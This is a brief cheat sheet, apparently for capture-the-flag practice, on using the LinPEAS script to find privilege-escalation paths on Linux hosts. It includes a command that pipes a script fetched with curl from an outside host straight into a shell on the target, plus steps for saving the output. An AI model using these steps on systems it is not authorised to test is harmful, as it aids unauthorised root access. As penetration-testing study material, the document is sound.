LinPEAS is a script that searches for possible paths to escalate privileges on Linux/Unix hosts. Extremely noisy but excellent for CTF.
Source: github
Privilege escalation involved exploiting a bug, design flaw or misconfiguration to gain elevated access and perform unauthorized actions. For example, escalating from a restrictive shell as user www-data, to a session as root.
Host script, curl
, and run
sudo python3 -m http.server 80
curl 198.51.100.2/linpeas.sh | sh
Output to file, read with colors
linpeas -a > /dev/shm/linpeas.txt
less -r /dev/shm/linpeas.txt